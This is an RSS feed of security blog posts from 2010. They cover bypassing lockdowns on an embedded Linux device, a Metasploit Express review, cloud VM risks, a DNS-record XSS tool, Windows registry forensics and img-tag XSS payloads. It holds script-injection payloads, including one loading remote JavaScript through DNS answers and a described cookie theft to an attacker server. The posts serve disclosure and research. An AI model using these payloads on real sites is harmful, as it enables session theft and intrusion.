		<comments>http://www.skullsecurity.org/blog/?p=820#comments</comments>
		<pubDate>Tue, 18 May 2010 15:43:33 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=820</guid>
		<description><![CDATA[Recently, I was given the opportunity to work with an embedded Linux OS that was locked down to prevent unauthorized access. I was able to obtain a shell fairly quickly, but then I ran into a number of security mechanisms. Fortunately, I found creative ways to overcome each of them. 
Here's the list of the [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I was given the opportunity to work with an embedded Linux OS that was locked down to prevent unauthorized access. I was able to obtain a shell fairly quickly, but then I ran into a number of security mechanisms. Fortunately, I found creative ways to overcome each of them. </p>
<p>Here's the list of the biggest problems I encountered, in the order that I overcame them:</p>
<ul>
<li>The user account couldn't 'ls' most folders due to lack of privileges</li>
<li>Process management tools (like ps) didn't work (thanks to the missing 'ls')</li>
<li>The user account could only write to designated areas, in spite of file permissions</li>
<li>Architecture was PowerPC, which I have no experience with</li>
<li>netstat, ifconfig, arp, and other tools were disabled</li>
</ul>
<p>I can't talk about how I actually obtained a shell, unfortunately, because the nature of the device would be too obvious. But I will say this: despite all their lockdowns, they accidentally left netcat installed. Oops :)</p>
<p>If you've been in similar situations and found some other tricks, I'd like to hear about them!</p>
<h2>Implementing ls</h2>
<p>Unfortunately, I was only able to obtain user access, not root. Despite permissions to the contrary, I couldn't run 'ls' against any system folders:</p>
<pre>$ cd /
$ ls
/bin/ls: cannot open directory .: Permission denied
$ cd /bin
$ ls
/bin/ls: cannot open directory .: Permission denied
$ find /
/
$ find .
.</pre>
<p>And so on. I could, however, run ls on /home/user, /tmp, and subfolders thereof. </p>
<p>As a side effect, I couldn't run the 'ps' command because it didn't have permission to read /proc:</p>
<pre>$ ps
Error: can not access /proc.</pre>
<p>But I'll get to that later. </p>
<p>After struggling a little, I was happy to discover that the 'which' command was enabled! </p>
<pre>$ which ls
/usr/bin/ls
$ which ps
/usr/bin/ps</pre>
<p>Great luck! I wrote a script on my personal laptop that would find every executable:</p>
<pre>
# find / -perm /0111 -type f |       # Find all executable files
  grep -v '^/home'           |       # Remove files stored on /home
  grep -v '\.so$'            |       # Remove libraries
  grep -v '\.a$'             |       # Remove libraries
  grep -v '\.so\.'           |       # Remove libraries
  sed 's|^.*/||'                     # Remove the path
</pre>
<p>And redirected the output from this script to a file. Then, I uploaded the file to the device using netcat and, after adding the sbin folders to the $PATH, I ran the following command:</p>
<pre>$ export PATH=/sbin:/usr/sbin:/usr/local/sbin:$PATH
$ cat my-programs.txt | xargs which | sort | uniq > installed-programs.txt</pre>
<p>Which returned a list that looked like:</p>
<pre>$ head installed-programs.txt
bin/arch
/bin/bzip2recover
/bin/cpio
/bin/dmesg
/bin/fusermount
/bin/hostname
/bin/ipmask
/bin/kill
/bin/killall
/bin/login
</pre>
<p>And finally, if you want more information:</p>
<pre>$ cat installed-programs.txt | xargs ls -l > installed-programs-full.txt</pre>
<p>Which, of course, gives you this type of output:</p>
<pre>$ head installed-programs-full
-rwxr-xr-x 1 root   root        2896 2008-03-31 16:56 /bin/arch
-rwxr-xr-x 1 root   root        7696 2008-04-07 00:42 /bin/bzip2recover
-rwxr-xr-x 1 root   root       52800 2007-04-07 12:04 /bin/cpio
-rwxr-xr-x 1 root   root        4504 2008-03-31 16:56 /bin/dmesg
-rwsr-xr-x 1 root   root       19836 2008-03-07 19:52 /bin/fusermount
-rwxr-xr-x 1 root   root        9148 2008-03-31 23:10 /bin/hostname
-rwxr-xr-x 1 root   root        3580 2008-03-31 23:10 /bin/ipmask
-rwxr-xr-x 1 root   root        8480 2008-03-31 16:56 /bin/kill
-rwxr-xr-x 1 root   root       14424 2006-12-19 18:07 /bin/killall
-rwxr-xr-x 1 root   root       44692 2008-03-24 15:11 /bin/login
</pre>
<p>Success! Now I have a pretty good idea of which programs are installed. I could collect samples from a wider variety of machines than just my laptop, potentially turning up more interesting applications, but I found that just the output from a single Linux system was actually a good enough sample to work with. </p>
<p>Remember, with the full 'ls -l' output, keep your eye out for 's' in the permissions. ;)</p>
<h2>Implementing ps</h2>
<p>As I mentioned earlier, the ps command fails spectacularly when you can't ls folders:</p>
<pre>$ ps
Error: can not access /proc.</pre>
<p>The first thing I tried was an experimental 'cat', which worked nicely:</p>
<pre>$ cat /proc/1/status
Name:   init
State:  S (sleeping)
[...]
</pre>
<p>Which tells me that the /proc filesystem is there, and that I have access to their accounting information. The only reason I can't list them is because 'ls /proc' (or the equivalent thereof) is failing. An investigation also told me that /proc/cpuinfo and /proc/meminfo also exist, which were helpful. So, I threw together a quick script to bruteforce the list:</p>
<pre>for i in `seq 1 100000`; do    # Take the first 100,000 PIDs
                               #(experimentally determined)
  if [ -f /proc/$i/status ]; then   # Check if the status file exists
    CMDLINE=`cat /proc/$i/cmdline | # Read the commandline
              sed 's/|//g' |        # Remove any pipes (will break things)
              sed "s/\x00/ /g"`;    # Replace null with space
    cat /proc/$i/status |           # Get the process details
      grep 'Name:'      |           # We only want the name
      cut -b7-          |           # Remove the prefix "Name:  "
      sed "s|$| ($CMDLINE)|";       # Add the commandline to the end
  fi;
done
</pre>
<p>The output for this will look like:</p>
<pre>init (init [3]        )
kthreadd ()
[...]
udevd (/sbin/udevd --daemon )
syslogd (/usr/sbin/syslogd )
klogd (/usr/sbin/klogd -c 3 -x )
</pre>
<p>So now I have a pretty good list of the running processes. Win!</p>
<p>Another option would be to write a patch for <a href='http://procps.sourceforge.net/'>procps</a> that implements a bruteforce listing, but that was beyond what I really wanted to do. </p>
<h2>Writing to protected areas</h2>
<p>This one, I want to be careful with. The reason is, I don't understand what was happening, or why. </p>
<p>In any case, in spite of permissions, I couldn't write to most folders, including /home/user. How they locked it down, I don't know, but I can't touch, cat, grep, etc them. </p>
<p>After some poking, though, I discovered that I could rm files and read/write them using redirection. So, oddly, it would look like this:</p>
<pre>$ touch test
touch: cannot touch `test': Permission denied
$ echo "TEST DATA" > test
$ cat test
cat: test: Permission denied
$ cat < test
TEST DATA
$ mv test test2
mv: cannot move `test' to `test2': Permission denied
$ cat < test > test2
$ rm test
</pre>
<p>That's all I can really say about that one. This bug let me write to some sensitive folders and modify settings I shouldn't have been able to. </p>
<h2>PowerPC</h2>
<p>The architecture of this device turned out to be PowerPC, which presented an interesting challenge. I've never done any cross compilation before, and I didn't even know where to start. So, I was going to skip it altogether. </p>
<p>Then, this past weekend, my <a href='http://www.twitter.com/bkulyk'>friend</a> brought over a device called <a href='http://www.wdc.com/en/products/index.asp?cat=30'>WD HD Live</a>. After installing Linux on it, I discovered that, like our old friend WRT54g, it had a MIPS core. So I took a couple hours out and learned how to cross compile for MIPS. </p>
<p>By Monday, I knew <s>everything</s> one or two things about cross compiliation, and was ready to get started! I downloaded <a href='http://www.kegel.com/crosstool/>Crosstool 0.43</a> and ran the following command:</p>
<pre>demo-powerpc-860.sh</pre>
<p>It automatically downloaded and installed the full toolchain and built a hello world program. I copied hello world to the device, using netcat, and verified that it worked. It did! </p>
<p>Next step was to compile something useful. So, I downloaded the source for <a href='http://packages.debian.org/squeeze/netcat-traditional'>Hobbit's Netcat</a> from Debian and compiled it with the crosstool commands (note: I have *no* idea whether or not this is the right way to cross compile; all I know is, it worked :) ):</p>
<pre>$ export PATH=/opt/crosstool/gcc-4.1.0-glibc-2.3.6/powerpc-860-linux-gnu/powerpc-860-linux-gnu/bin:$PATH
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10.orig.tar.gz
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10-38.diff.gz
$ tar -xvvzf netcat_1.10.orig.tar.gz
$ gunzip -v netcat_1.10-38.diff.gz
$ patch -p0 < netcat_1.10-38.diff
$ patch -p0 < netcat-1.10.orig/debian/patches/glibc-resolv-h.patch
$ cd netcat-1.10.orig
$ make linux CC=gcc</pre>
<p>I successfully copied the new netcat to the device and ran it, to prove that the cross compile worked. </p>
<p>Obviously, using netcat to copy netcat to the device makes very little sense. But the point was to prove that cross compilation works, not that I could do something interesting with it. </p>
<h2>No networking tools</h2>
<p>Finally, I was dismayed to find out that netstat, ifconfig, arp, and others all returned a "Permission denied" error when I tried to run them. How am I supposed to figure out the system state without them?</p>
<p>Fortunately, none of them require setuid to run, so I downloaded the latest <a href='http://www.tazenda.demon.co.uk/phil/net-tools/'>net-tools</a> package, compiled it with the PowerPC toolchain, uploaded them with netcat, and tried them out:</p>
<pre>$ ./netstat-ron -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 192.168.155.11:39002    192.168.155.105:3306     TIME_WAIT
tcp        0      0 192.168.155.11:41992    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:37288    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38736    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38652    192.168.155.105:3306     ESTABLISHED
</pre>
<pre>$ ./ifconfig-ron lo
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1285090 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1285090 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130762797 (124.7 MiB)  TX bytes:130762797 (124.7 MiB)
</pre>
<pre>$ ./arp-ron
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.155.1            ether   00:0C:29:7E:21:63   C                     eth0
192.168.155.105          ether   00:50:56:C0:00:00   C                     eth0
192.168.155.144          ether   00:0C:29:42:B7:1B   C                     eth0
</pre>
<p>Done!</p>
<h2>Conclusion</h2>
<p>So, I managed to overcome the lockdown on the embedded device. Once I had shell I could do pretty anything I could normally do, in spite of the attempted lockdown. Therefore, I concluded that, in its current state, the lockdown was nearly useless. </p>
<p>I plan to work with the vendor, of course, to help them resolve these issues. </p>
<p>Now, your turn! Have you ever had to use makeshift tools on a locked down system? Any interesting stories?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=820</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Metasploit Express Beta - First Look</title>
		<link>http://www.skullsecurity.org/blog/?p=779</link>
		<comments>http://www.skullsecurity.org/blog/?p=779#comments</comments>
		<pubDate>Tue, 11 May 2010 14:15:02 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Metasploit Express]]></category>
		<category><![CDATA[PenTesting]]></category>
		<category><![CDATA[Rapid7]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=779</guid>
		<description><![CDATA[This post was written by Matt Gardenghi
This is just initial impressions of a beta product.
I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  It's also [...]]]></description>
			<content:encoded><![CDATA[<p><em>This post was written by <a href='http://www.twitter.com/matt_gardenghi'>Matt Gardenghi</a></em></p>
<p>This is just initial impressions of a beta product.</p>
<p>I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  It's also not multi-threaded.  I'd recommend a dual core box as Express will peg one core.  If you want to do anything else while Express is running, you need two cores. Still, Express does not require an expensive RAM build out. I've run top plenty of times and seen that the RAM usage remains low even when I've had 170+ shells running.  :-p  Hopefully, we'll get multi-threading down the road.  When multiple tasks are running simultaneously, this lack of multi-threading becomes an issue.  Everything slows to a crawl.</p>
<p>Anyway speed issues aside, Express is very slick.  The interface is clean and minimalistic.  At first, things are a little to minimalistic.  It took me a while to realize that I had tasks running; they appeared to start and finish, but had actually moved to the task list.  Express gives subtle hints about tasks running, sessions opened, and updated system information as seen in this screenshot (the blue circles with numbers).</p>
<p><img class="alignnone" title="Express" src="/blogdata/Express1.PNG" alt="" width="417" height="57" /></p>
<p>There are a lot of features to talk about, but let me simplify it this way: As long as you are willing to run generic scans, exploits, etc, Express will simplify your pentesting.</p>
<p>Wait, don't go yet.  You can still do quite a bit with this.  (And from my communication with the developers, we will eventually receive the ability to tweak the defaults.) Let's suppose you want to see if anyone is running default usernames and passwords across a large organization.  Express will do that (and give you shell if possible).  Express handles large groups of repetitive tasks well.</p>
<p>Down the road, it would be nice if users can change the defaults if they see a need (maybe your AV picks up this particular default).  Still, as a general rule, the defaults are set because they work in most instances.  You may never need to change anything. (You can run specific modules from the Metasploit kit.)</p>
<p>There are times when the more advanced Metasploit features are needed.  These can be accessed from the console if you tell Metasploit to use the same Postgres DB.  I haven't got that working yet, probably user error.</p>
<p>Anyway, having played with this for a while now, I can't see it replacing my usual toolset.  I'm seldom given an internal IP to test and am seldom allowed to perform social engineering.  So, I'm not certain how much use this will be to me as my access usually starts with a website flaw (file upload, poor password) or router misconfiguration. Now if I could set up multi/handler, execute a payload (social engineering, file upload flaw or such), and then pivot into the organization..., well that would make a BIG difference.</p>
<p>I can see this being worth the price for anyone on an internal security team.  At the least, this will grab all the low hanging fruit and then will grant you the information you need to perform more in depth testing.</p>
<p>This is a good tool for those network admins who also wear the security hat.  They can run NeXpose or Nessus across their environment, import it into Express and demonstrate the need to fix these holes.</p>
<p>Check it out.  And once we leave beta, I'm hoping to write a full review about the various features.  Questions?  Drop me a line or post a comment and I'll see what I can answer for you.</p>
<p>There is a high likelihood that you will find this tool useful in your security testing work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=779</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Confidential Information in the Cloud</title>
		<link>http://www.skullsecurity.org/blog/?p=752</link>
		<comments>http://www.skullsecurity.org/blog/?p=752#comments</comments>
		<pubDate>Wed, 05 May 2010 14:43:16 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[SaaS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=752</guid>
		<description><![CDATA[This is another special blog written by Matt Gardenghi! 
My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions.
This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  /gah
For [...]]]></description>
			<content:encoded><![CDATA[<p><em>This is another special blog written by <a href='http://twitter.com/matt_gardenghi'>Matt Gardenghi</a>!</em> </p>
<p>My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions.</p>
<p>This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  /gah</p>
<p>For the sake of argument, let's assume we are discussing VMs hosted on some provider's (Amazon) VMWare ESX cluster.  This could really apply to any VM on any company's specific VM host, but VMWare is big, popular, and a good basis to work from.  Let's say, some marketing exec bought a package that would hold data on a machine in the cloud.  (You may shoot him later; right now, you have to deal with the issues of integration into your secure environment.)</p>
<p>Now let's suppose that you do not have enough machines to warrant a private cluster.  You will be sharing a cluster with unknown parties.  Fun!  (Ant-acid is found in aisle 5.)</p>
<p>After reading this document, my mind immediately ran to the story of Kevin Mitnick's hacked website.  You may recall that the headlines proclaimed that Mitnick was hacked, when that is only true in the strictest sense.  In reality, it was a shared host, and one of the other sites was running old code and was hacked.  That hack granted the attacker access to modify Mitnick's site.</p>
<p>OK, but are you really at risk this way?  We're talking about VMs here not shared hosting on a poorly configured LAMP stack.   But, surely you've heard of <a href="http://lists.vmware.com/pipermail/security-announce/2009/000055.html">Guest -&gt; Host</a> exploits?  And since this is publicly obtainable software, one *could* setup a duplicate environment and fuzz away at it....  (Not that any <a href="http://en.wikipedia.org/wiki/Russian_Business_Network">entity</a> would do that, of course.)</p>
<p>So theoretically, one of the other unknown/untrusted Guests could use a zero day exploit to compromise the Host.  Then they could compromise all of the co-located Guests on the box.  Cheery thought....  How would you know?  Since they are essentially performing a "man in the middle," the attacker could just watch your traffic and never touch your machine.  All of those techniques for modifying data on the wire come trudging depressingly back to mind.  You couldn't trust the data coming from the user or going to the user.</p>
<p>Further, if the ESX host is compromised, every machine that VMotioned over to it could be compromised.  Every machine that VMotioned off could then run the zero day against a new host.  This would get an entire cluster and possibly migrate to other clusters (though much less likely).</p>
<p>Now one might ask "how" a malicious user/competitor/etc would locate your server in Amazon's cloud and target your machine.  Cue stage right: a paper on doing that very <a href="http://cseweb.ucsd.edu/~hovav/dist/cloudsec.pdf">thing (pdf)</a>.</p>
<p>So now we are looking at 1) an attacker can find your machine, 2) an attacker could instigate Guest -&gt; Host exploits.  Are you still certain you want to put your data in the cloud?  Ugh.  I can't think of one good reason to do this on a public cloud hosting service.</p>
<p>I know that this is more of a theoretical post and not like Ron's usual posts detailing specific exploitation or research, but I'm interested in your comments.  Am I off base in this reasoning (has happened once or twice before - according to my wife anyway).  What are your thoughts?  Is it worse than I suspect or am I over-reacting?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=752</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Stuffing Javascript into DNS names</title>
		<link>http://www.skullsecurity.org/blog/?p=433</link>
		<comments>http://www.skullsecurity.org/blog/?p=433#comments</comments>
		<pubDate>Tue, 20 Apr 2010 15:36:54 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=433</guid>
		<description><![CDATA[Greetings! 
Today seemed like a fun day to write about a really cool vector for cross-site scripting I found. In my testing, this attack is pretty specific and, in some ways, useless, but I strongly suspect that, with resources I don't have access to, this can trigger stored cross-site scripting in some pretty nasty places. [...]]]></description>
			<content:encoded><![CDATA[<p>Greetings! </p>
<p>Today seemed like a fun day to write about a really cool vector for cross-site scripting I found. In my testing, this attack is pretty specific and, in some ways, useless, but I strongly suspect that, with resources I don't have access to, this can trigger stored cross-site scripting in some pretty nasty places. But I'll get to that! </p>
<p>Interestingly enough, between the time that I wrote this blog/tool and published it, nCircle researchers <a href='http://www.darkreading.com/vulnerability_management/security/app-security/showArticle.jhtml?articleID=224201569'>have said almost the same thing</a> (<a href='http://blog.ncircle.com/blogs/vert/miXSS%20Whitepaper.pdf'>paper</a> (pdf)). The major difference is, I released a tool to do it and demonstrate actual examples. </p>
<h2>dnsxss</h2>
<p>If you've installed <a href='/wiki/index.php/Nbtool'>nbtool</a>, you may have noticed that, among other programs it comes with, one of them is called <a href='/wiki/index.php/Dnsxss'>dnsxss</a>. Take a look at the wiki page for more information, but what it does is, essentially, respond to DNS requests for CNAME, MX, TXT, and NS records with Javascript code. Unless you want some specific code, all you have to do is run it:</p>
<pre># dnsxss
Listening for requests on 0.0.0.0:53
Will response to queries with:
&lt;script/src='http://www.skullsecurity.org/test-js.js'&gt;&lt;/script&gt;
</pre>
<p>Pass -h or --help for a list of arguments. </p>
<p>Now, an observant reader will realize that this isn't valid HTML. Unfortunately, as far as I can tell, there's no way to send a space through DNS, so you have to come up with some space-free code. The best I could find was replacing spaces with a '/', which will work on Firefox but not IE (I haven't tested anything else). If anybody can think of a better way to write HTML without spaces, let me know. The next best solution is using the TXT query, which DOES allow spaces. dnsxss will reply to TXT queries with well formed Javascript. </p>
<p>For what it's worth, dnsxss will answer A or AAAA requests with localhost (127.0.0.1 or ::1) -- if somebody does a lookup, they'll get an odd answer that won't immediately lead back to you. </p>
<h2>Let's break stuff!</h2>
<p>So, what can you do with this?</p>
<p>Well, fortunately (or unfortunately? depends who you are), most sites don't echo back DNS records. But, some do. I picked the first three sites from a Google query and tested them out. All three were vulnerable. And I very much doubt that any programmers even *consider* filtering DNS responses. I mean, who expects DNS responses to contain HTML? </p>
<p>And, furthermore, if I can sneak HTML code into pretty much any site that looks up DNS names due to lack of filtering, how about SQL injection? If the response is inserted into the database without filtering for SQL characters, which I would bet they are on at least some sites, you now have an avenue for SQL injection! And, better yet, there's a decent chance that the requests won't be logged because a) it's coming through a backchannel so it's not going to be in their Web server logs, b) the statements containing SQL injection won't be inserted to your logging table (since they wouldn't be valid queries), and c) you can turn off the DNS server whenever you want, and no trace will be left that you were ever doing it (except short-lived caches). </p>
<p>As I mentioned earlier, I took the first three sites from a google query I crafted, and all three were vulnerable. I emailed the administrators of all three sites, and two of them replied thanking me. Both told me that it was a really interesting vector, and that they would fix their sites as soon as possible. The third I haven't heard back from. But the point is, on three random sites, none had even considered implementing any defenses.</p>
<p>Let's take a look at the examples! But first, here are some notes on them:</p>
<ul>
<li>The examples use skullseclabs.org, which is the domain I use for all my testing -- if you plan on testing these yourself, you'll have to register your own domain</li>
<li>The examples use "/* */" to conceal the space, but I realized later that a single "/" works just as well</li>
</ul>
<p>So, without further ado, here are some screenshots of the sites. I anonymized them a little, though a clever attacker could likely Google hack them. </p>
<h3>Site 1</h3>
<p>The form:<br />
<img src='/blogdata/dnsxss-site1-1.png'></p>
<p>The result:<br />
<img src='/blogdata/dnsxss-site1-2.png'></p>
<p>The source:<br />
<img src='/blogdata/dnsxss-site1-3.png'></p>
<h3>Site 2</h3>
<p>The form:<br />
<img src='/blogdata/dnsxss-site2-1.png'></p>
<p>The result:<br />
<img src='/blogdata/dnsxss-site2-2.png'></p>
<p>The source:<br />
<img src='/blogdata/dnsxss-site2-3.png'></p>
<h3>Site 3</h3>
<p>The form:<br />
<img src='/blogdata/dnsxss-site3-1.png'></p>
<p>The result:<br />
<img src='/blogdata/dnsxss-site3-2.png'></p>
<p>The source:<br />
<img src='/blogdata/dnsxss-site3-3.png'></p>
<h3>So there we go...</h3>
<p>Three sites, none of which filter out my cross-site scripting attempts. Fun!</p>
<h2>Weaponization</h2>
<p>The problem is, this only affects a small percentage of sites -- those that will look up domains and display them for you. How can this be used against more targets?</p>
<p>Well, I have two ideas:</p>
<ol>
<li>As I mentioned earlier, I'd bet money that there are other forms of attacks through these avenues -- I'd be surprised if SQL injection didn't exist</li>
<li>Can you stuff javascript into <strong>reverse</strong> DNS entries?</li>
</ol>
<p>The second point, I suspect, is where we're going to have fun. I can think of countless security devices, from firewalls to vulnerability management tools to proxy servers, with Web interfaces that display reverse DNS records. Not to mention tools where administrators are shown reverse lookups -- forums, for example. Another avenue is logfiles, which are normally visible to administrators. </p>
<p>In all of these cases, if you can stuff Javascript into reverse DNS lookups, you will likely find some very interesting vulnerabilities. Plus, you can instantly see when somebody hits one, and, more often than not, you can clean up your tracks quite well. </p>
<p>I don't have access to any domains where I control the reverse DNS records, but if anybody does I'd love to test this out! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=433</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Determine Windows version from offline image</title>
		<link>http://www.skullsecurity.org/blog/?p=465</link>
		<comments>http://www.skullsecurity.org/blog/?p=465#comments</comments>
		<pubDate>Thu, 08 Apr 2010 14:08:03 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Forensics]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=465</guid>
		<description><![CDATA[I am not a forensics expert, nor do I play one on TV. I do, however, play one at work from time to time and I own some of the key tools: a magnifying glass and a 10baseT hub. Oh, and a Sherlock Holmes hat -- that's the key. Unfortunately, these weren't much help when [...]]]></description>
			<content:encoded><![CDATA[<p>I am not a forensics expert, nor do I play one on TV. I do, however, play one at work from time to time and I own some of the key tools: a magnifying glass and a 10baseT hub. Oh, and a Sherlock Holmes hat -- that's the key. Unfortunately, these weren't much help when I was handed a pile of drives and was asked to find out which version of Windows they had been running. I wasn't allowed to boot them, and I couldn't really find the full answer of how to get the version after a lot of googling, so I figured it out the hard way. Hopefully I can save you guys some time by explaining it in detail. </p>
<p>And if there's a better way, which I'm sure there is, please let me know. I don't doubt that I did this the hard way -- that's kinda my thing. </p>
<p>The order of events is, basically:</p>
<ul>
<li>Step 1: Copy the system's registry hive to your analysis system</li>
<li>Step 2: Mount the registry hive in regedit.exe</li>
<li>Step 3: Navigate to the OS version in regedit.exe</li>
<li>Step 4: Unmount the registry hive.</li>
</ul>
<p>If you know how to do all that, then thanks for reading! Check back Tuesday for a brand new blog posting! I have an interesting blog that combines DNS and cross-site scripting lined up. </p>
<p>Otherwise, keep reading. Or just look at the pictures. </p>
<h2>Step 1: Get the registry hive</h2>
<p>This step is pretty simple. The file is called <strong>software</strong> and is located in <strong>%SYSTEMROOT%\system32\config</strong>. You're going to have problems if you try grabbing this file from a running system, but fortunately we have an offline version of the harddrive. Copy that file to a USB stick, or some other device, following your standard evidence collection policies. I also recommend working from an image, not the live drive, if you're doing actual forensic work. </p>
<p><img src='/blogdata/offline-os-1.png'></p>
<h2>Step 2: Import the hive</h2>
<p>First, run regedit on the analysis machine (that you copied the <strong>software</strong> file to):<br />
<img src='/blogdata/offline-os-2.png'></p>
<p>Next, click on the HKEY_LOCAL_MACHINE hive (or any other, really):<br />
<img src='/blogdata/offline-os-3.png'></p>
<p>Next, under the File menu, click "Load Hive...":<br />
<img src='/blogdata/offline-os-4.png'></p>
<p>Navigate to the 'software' file that you copied from the target machine:<br />
<img src='/blogdata/offline-os-5.png'></p>
<p>When prompted, type in a name - it doesn't matter what:<br />
<img src='/blogdata/offline-os-6.png'></p>
<p>And that's it! Now you'll have the registry mounted as the name you gave it under HKEY_LOCAL_MACHINE:<br />
<img src='/blogdata/offline-os-7.png'></p>
<h2>Step 3: Find the key</h2>
<p>The key is located in <strong>HKEY_LOCAL_MACHINE/&lt;thenameyoupicked&gt;/Microsoft/Windows NT/CurrentVersion</strong>:<br />
<img src='/blogdata/offline-os-8.png'></p>
<p>Any key you want related to the version of Windows is right there. In my screenshot, we're running Windows XP Service Pack 2. The Owner and Company given during installation is shown there too, if you're into that. </p>
<h2>Step 4: Unmount</h2>
<p>If you don't unmount the device, you'll get file-in-use errors until you do. So, click on the hive and under the File menu, select "Unload Hive...":<br />
<img src='/blogdata/offline-os-9.png'></p>
<h2>Done!</h2>
<p>That's it! Once you learn how to mount the registry from the offline machine, it's actually pretty easy. </p>
<p>If you know of a better way to do it, let me know! Comments and registration should once again work, assuming you an do simple math, or you can find my email address at the right somewhere. </p>
<p>Thanks for reading! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=465</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Exotic XSS: The HTML Image Tag</title>
		<link>http://www.skullsecurity.org/blog/?p=590</link>
		<comments>http://www.skullsecurity.org/blog/?p=590#comments</comments>
		<pubDate>Tue, 06 Apr 2010 18:45:54 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=590</guid>
		<description><![CDATA[There are the usual XSS tests.  And then there are the fun ones.  This is a story about a more exotic approach to testing XSS....
I was testing a company that had passed all XSS tests from their pentester.  I found that they allowed users to write HTML tags.  Of course they didn't permit &#60;script&#62; tags [...]]]></description>
			<content:encoded><![CDATA[<p>There are the usual XSS tests.  And then there are the fun ones.  This is a story about a more exotic approach to testing XSS....</p>
<p>I was testing a company that had passed all XSS tests from their pentester.  I found that they allowed users to write HTML tags.  Of course they didn't permit &lt;script&gt; tags or &lt;iframe&gt; tags.  (Well, they did allow those, but that was an oops - no server side filtering.)  This company had whitelisted a variety of "safe" tags for use by clients.</p>
<p>That's boring, right?  Heh, thanks to Ron, I had a way to abuse their whitelist.  (I've since found this in Web Application Hackers Handbook, but I seem to have overlooked it at the time I read it.)  Three HTML 4 tags in particular allow javascript to be run from one of the elements and these are: &lt;img&gt;, &lt;object&gt;, and &lt;style&gt;.</p>
<p>You are really unlikely to see &lt;object&gt; and &lt;style&gt; tags permitted, but &lt;img&gt; tags are a bit more common.  Note: since my work on this site, I've seen RSnake's <a title="page" href="http://ha.ckers.org/xss.html" target="_blank">page</a> and other pages that talk about using &lt;img src="alert('XSS')"&gt;.  That was nice in the past, but none of my current version browsers will execute that.  (Makes me wonder if the whole tracking image thing from emails of yesteryear still works, but that's a rabbit trail.  If you know, post a comment.)  Still, just because I can't source the javascript, doesn't mean I can't execute javascript....  We'll use different HTML 4 elements.</p>
<p>Now, in my scenario, I decided to input &lt;img src="blah.jpg" onerror="alert('XSS')"/&gt; and reloaded the page.  BINGO! I got a popup box.  This also works and has the advantage of a working image: &lt;img src="realimage.png" onload="alert('XSS')"/&gt;.</p>
<p>That's cool.  It's really easy to check that off on your list and say "vulnerable to XSS."  But, can you do anything besides popping boxes?  Doing something would be useful.  I had a question about all this, "will these elements support more than an alert box or is this a useless novelty?"  More tests were in order.</p>
<p>So, then we could replace alert() with document.write() and write the cookie to our server. This swipes cookies and that's better than a popup.  But why stop there?</p>
